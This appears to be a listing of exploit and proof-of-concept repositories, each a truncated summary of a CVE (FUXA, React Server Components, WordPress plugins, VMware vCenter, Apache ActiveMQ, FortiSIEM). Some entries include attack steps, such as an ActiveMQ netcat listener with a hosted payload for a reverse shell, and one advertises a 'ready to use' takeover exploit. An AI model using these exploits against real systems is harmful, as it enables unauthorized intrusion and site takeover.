FUXAPWN

CVE-2026-25895 — FUXA = 1.2.9 Unauthenticated Path Traversal to Remote Code Execution Unauthenticated, pre-auth arbitrary file write against FUXA, a Node.js-based SCADA/HMI platform. Chains to remote code execution via several distinct post-write primitives. Works even when secureEnabled = true...

CVE-2026-42945

CVE-2026-42945 — NGINX Rift NGINXngxhttprewritemodule におけるヒープバッファオーバーフロー...

CVE-2026-5118

Divi Form Builder ⚠️ ADVERTENCIA: Esta herramienta es solo para pruebas de penetración autorizadas e investigación de seguridad. El acceso no autorizado a sistemas informáticos es ilegal. Úsela solo en sistemas que posea o para los que tenga permiso explícito por escrito para realizar pruebas. Más...

react2shell

React2Shell CVE-2025-55182 Next.js: CVE-2025-66478 Unauthenticated RCE in React Server Components Flight Protocol - PoC Exploit Description React Server Components Flight protocol deserialize attacker-controlled multipart/form-data without validating prototype-chain access. A single unauthenticat...

CVE-2026-16475-PoC

CVE-2026-16475 - OCSinventory LFI PoC Local File Inclusion vulnerability in OCSinventory 2.12.4 Vulnerability Details CVE ID: CVE-2026-16475 CVSS Score: 6.9 Medium CWE: CWE-98 Improper Control of Filename for Include/Require Statement in PHP Program Affected Version: OCSinventory 2.12.4 Status:...

CVE-2026-5364

CVE-2026-5364 CVE-2026-5364 is a CVSS 8.1 High Unauthenticated Arbitrary File Upload vulnerability in the Drag and Drop File Upload for Contact Form 7 CVE-2026-5364 — CF7 Drag & Drop File Upload RCE Unauthenticated Arbitrary File Upload viasanitizefilename Bypass CVSS 8.1 High | Affected: = 1.1.3...

CVE-2026-3296

CVE-2026-3296 CVE-2026-3296 is a CVSS 9.8 Critical unauthenticated PHP Object Injection vulnerability in the Everest Forms WordPress plugin CVE-2026-3296 — Everest Forms PHP Object Injection Scanner Plugin: Everest Forms – Contact Form, Payment Form, Quiz, Survey & Custom Form Builder Plugin Slug...

CVE-2021-21972

CVE-2021-21972 CVE-2021-21972 Unauthorized RCE in VMware vCenter metasploit exploit script preparation root@kitploit: git clone https://github.com/TaroballzChen/CVE-2021-21972 cd CVE-2021-21972 mkdir -p /.msf4/modules/exploits/multi/http cp /.msf4/modules/exploits/multi/http chmod +x...

CVE-2026-4883

CVE-2026-4883: Piotnet Forms Pro = 2.1.40 - Unauthenticated Arbitrary File Upload → RCE The vulnerability stems from inadequate file type validation in the piotnetformsajaxformbuilder function. The plugin employs an incomplete extension blacklist blocking only php, phpt, php5, php7, and exe while...

CVE-2021-22986

CVE-2021-22986 This vulnerability allows for unauthenticated attackers with network access to the iControl REST interface, through the BIG-IP management interface and self IP addresses, to execute arbitrary system commands, create or delete files, and disable services. This vulnerability can only...

CVE-2025-1242

CVE-2025-1242: Exposure of Administrative IoT Hub Credentials Advisory Field| Value ---|--- CVE| CVE-2025-1242 ICSA| ICSA-26-055-03 CVSS 3.1| 9.1 Critical Vector| CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N CWE| CWE-798 Use of Hard-coded Credentials Researcher| Michael Groberman — Gr0m Published...

CVE-2021-43798

CVE-2021-43798 - Grafana Arbitrary File Read Python toolkit for authorized testing of CVE-2021-43798, a Grafana path traversal vulnerability that can allow unauthenticated arbitrary file reads through plugin asset paths. This repository contains: grafanapoc.py: interactive arbitrary file read PoC...

CVE-2022-1386

Description Fusion Builder is a WordPress plugin that allows users to create and edit pages using a drag-and-drop interface. It is vulnerable to an unauthenticated SSRF that allows an attacker to read any file on the server. Proof of Concept Request: root@kitploit: POST /wp-admin/admin-ajax.php...

CVE-2025-55182

CVE-2025-55182 — React Server Components Unauthenticated RCE Severity: Critical — CVSS 10.0 CWE: CWE-502 Deserialization of Untrusted Data Vendor: Meta Facebook Disclosed: December 3, 2025 Overview CVE-2025-55182 is a maximum-severity unauthenticated remote code execution RCE vulnerability in Rea...

CVE-2023-46604-RCE

CVE-2023-46604-RCE Python implementation of Apache ActiveMQ Unauthenticated Remote Code Execution Setup & Exploit nc -lvnp 4444 - Start Listener python3 -m http.server 8080 - Host poc.xml that contain your payload python3 CVE-2023-46604-RCE.py -i -p -u http://:8080/poc.xml - Start exploit...

CVE-2026-28766

CVE-2026-28766 Missing Authentication: User Account Endpoint Field| Value ---|--- CVE| CVE-2026-28766 Severity| Critical 9.3 CVSS Vector| CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N Weakness CWE| CWE-306: Missing Authentication for Critical Function Affected components| Cloud API 2.12.2026 Vendo...

CVE-2026-8732-EXPLOIT

CVE-2026-8732 – WordPress WP Maps Pro Exploit Unauthenticated Admin Takeover | CVSS 9.8 | Ready to use 🔥 What you get Fully working Python exploit for CVE-2026-8732 Unauthenticated administrator account creation Returns magic login URL – instant site takeover Works against WP Maps Pro ≤ 6.1.0...

CVE-2026-48962

Summary An eval injection vulnerability in File::GlobMapper::getFiles allows any attacker who can control the output fileglob argument passed to IO::Compress::Gzip::gzip, IO::Compress::Zip::zip, or any sibling function to execute arbitrary Perl code in the context of the running process. No...

CYBERDUDEBIVASH-MONGODB-DETECTOR-v2026

CYBERDUDEBIVASH MONGODB DETECTOR TOOL v2026.1 Detect exposed MongoDB instances and CVE-2025-14847 "MongoBleed" risks — Zero-Trust Python scanner. In 2026, misconfigured MongoDB databases remain one of the top causes of data breaches and ransomware attacks. This tool helps defenders identify open...

CVE-2024-23108

CVE-2024-23108: Fortinet FortiSIEM Unauthenticated 2nd Order Command Injection Proof of concept exploit to blindly execute commands as root on vulnerable FortiSIEM appliances Blog Post Root cause and indicators of compromise here:...